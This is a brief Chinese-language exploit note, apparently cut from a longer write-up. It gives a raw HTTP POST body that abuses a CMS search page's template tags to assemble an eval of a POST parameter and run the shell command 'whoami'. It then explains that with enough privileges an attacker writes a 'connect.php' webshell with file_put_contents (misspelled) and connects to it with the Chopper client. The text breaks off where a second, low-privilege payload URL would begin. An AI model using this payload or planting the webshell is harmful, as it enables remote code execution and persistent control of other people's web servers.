POST:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=sy&9[]=stem("whoami");

权限足够的话，file_put_concents(“connect.php”,”“)，然后连接菜刀即可

权限不足的话，利用payload构造url：
